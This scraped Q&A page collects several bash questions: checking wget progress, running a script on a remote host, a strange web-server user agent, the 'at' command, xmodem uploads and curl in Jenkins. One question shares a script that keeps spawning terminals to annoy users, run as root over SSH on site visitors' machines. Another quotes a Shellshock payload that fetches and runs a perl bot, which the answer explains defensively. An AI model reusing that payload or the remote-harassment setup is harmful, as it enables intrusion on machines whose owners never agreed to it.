Currently running WGETs - bash

I'm having a hard time using knowing if it is possible to have a clue on my download speed using WGET.
To run my gets I use the following command :
wget -c -b http://mylink.com
So it runs in background BUT I can still have access to its PID.
What I was wondering is :
If I have the PID, do I have the possibility to attach anything to the process in order to check the speed ?
What if I use the following :
screen -dmS MYDOWNLOADPROCESS_XXXXX wget -c http://mylink.com
Is there a way I can retrieve stuffs even if its running in DEAMON ? Cause it seems I can't attach it back... :(

Well I think I just found myself a solution. I can totally use --spider option from wget
In order to get the expected length of content. Extract it using a bash script using the length: value, and then ls -al and bashing everything to match anything like :
downloaded / expected length
To get a percentage.

Related

Run local bash script on remote host

I have this bash script that opens a terminal repeatedly with no way of closing them and keeps one after another. The goal is annoy anyone who happens to execute this program. Here's the source code of it:
#!/bin/bash
while true
do
gnome-terminal -x sh -c "./<name-of-script.sh>; bash"
clear
sleep 1
trap '' 2
exit
done
I have tested this and it does work the way I want it to. What I'm trying to do is execute this script on a remote host. On a ruby on rails website I have set an image to attempt to run this script by clicking on it. When someone does they will run a controller function called call_script2 and here's what I have so far:
def call_script2
remote_ip = request.ip
#system("scp /home/ncs/<script.sh> root##{remote_ip}:/root/")
system("ssh root##{remote_ip} sudo home/ncs/./<script.sh>")
render 'script/index'
end
What I'm trying to accomplish is to run the contents of the bash script on the remote host when they click on a certain image. As you can see I've tried uploading the script of the host under the root directory and then trying to run the bash program with no success. I'm perfectly fine using something other than SSH if this not do able.
Please feel free to share your thoughts on this and thank you for taking the time to read my post. Have a great day!
Update: I was able to accomplish this goal by using the following:
system("ssh -t root##{remote_ip} DISPLAY=:0 ./Thorgrim.sh")
Thank you to everyone who have commented on this post to help me out!

Getting very strange user agent in logs

My logs shows a very strange user agent which is shown below:
() { :;}; /bin/bash -c "cd /var/tmp;wget http://151.236.44.210/efixx;curl -O http://151.236.44.210/efixx;perl efixx;perl /var/tmp/efixx;perl efixx"
Can anyone tell what is it trying to do... I think it is hacking attempt and how can restrict access to it.
That does indeed look like an attempt to exploit the Shellshock bash bug. https://security.stackexchange.com/questions/68122/what-is-a-specific-example-of-how-the-shellshock-bash-bug-could-be-exploited
The sender of that request is trying to get your machine to download a purl script called efixx from http://151.236.44.210/ and then execute it. That purl script is the "LinuxNet perlbot".
You should check to make sure you don't have the file called "efixx" on your computer and if you do make sure it isn't running. Also make sure you are running the latest version of bash and you should be ok.

Repeating Bash Task using At

I am running ubuntu 13.10 and want to write a bash script that will execute a given task at non-pre-determined time intervals. My understanding of this is that cronjobs require me to know when the task will be performed again. Thus, I was recommended to use "at."
I'm having a bit of trouble using "at." Based on some experimentation, I've found that
echo "hello" | at now + 1 minutes
will run in my terminal (with and without quotes). Running "atq" results in my computer telling me that the command is in the queue. However, I never see the results of the command. I assume that I'm doing something wrong, but the manpages don't seem to be telling me anything useful.
Thanks in advance for any help.
Besides the fact that commands are run without a terminal (output and input is probably redirected to /dev/null), your command would also not run since what you're passing to at is not echo hello but just hello. Unless hello is really an existing command, it won't run. What you want probably is:
echo "echo hello" | at now + 1 minutes
If you want to know if your command is really running, try redirecting the output to a file:
echo "echo hello > /var/tmp/hello.out" | at now + 1 minutes
Check the file later.

Automate xmodem file upload

I have a device where a software update is done by uploading a file through xmodem.
I was able to do this in two ways using the lrzsz (http://ohse.de/uwe/software/lrzsz.html) package.
1) Using screen
screen /dev/tty.myserialdevice 115200
and then
^A:exec !! sz -X file.bin
or
2) Using cu
cu -l /dev/tty.myserialdevice -s 115200
and then
~+lsz -X file.bin
Now I would like to write a script (preferably a ruby or a bash script) to automate the file upload.
Is there a way to pipe the file into screen or cu or use standard input?
When I tried to write a script I only got to the point of opening a connection.
But even then I had problems to properly close this connection again.
Not sure if you are still having this problem, but I just recently had to piece together something for a similar situation.
I used screen to automate this portion, as it has some command line options to run in the background. First, I create a detached screen session, like this:
screen -d -m /dev/tty.myserialdevice 115200
Then, I can reference my created session with the -p0 option, and give it a command to execute with -X, which in this case is a command to screen itself to start an xmodem file transfer.
screen -p0 -X exec \!\! sz -X filetosend
I had noticed in other places on the web that .\!\! was also sometimes used, so keep this in mind to try if you still have problems.

Getting a shell error code from curl in Jenkins while still displaying output in console

I am using a shell script in Jenkins that, at a certain point, uploads a file to a server using curl. I would like to see whatever output curl produces but also check whether it is the output I expect. If it isn't, then I want to set the shell error code to > 0 so that Jenkins knows the script failed.
I first tried using curl -f, but this causes the pipe to be cut as soon as the upload fails and the error output never gets to the client. Then I tried something like this:
curl ...params... | tee /dev/tty | \
xargs -I{} test "Expected output string" = '{}'
This works from a normal SSH shell but in the Jenkins console output I see:
tee: /dev/tty: No such device or address
I'm not sure why this is since I thought Jenkins was communicating with the slave using a normal SSH shell. In any case, the whole xargs + test thing strikes me as a bit of a hack.
Is there a way to accomplish this in Jenkins so that I can see the output and also test whether it matches a specific string?
When Jenkins communicates with slave via SSH, there is no terminal allocated, and so there is no /dev/tty device for that process.
Maybe you can send it to /dev/stderr instead? It will be a terminal in an interactive session and some log file in non-interactive session.
Have you thought about using the Publish over SSH Plugin instead of using curl? Might save you some headache.
If you just copy the file from master to slave there is also a plugin for that, copy to slave Plugin.
Cannot write any comments yet, so I had to post it as an answer.

Resources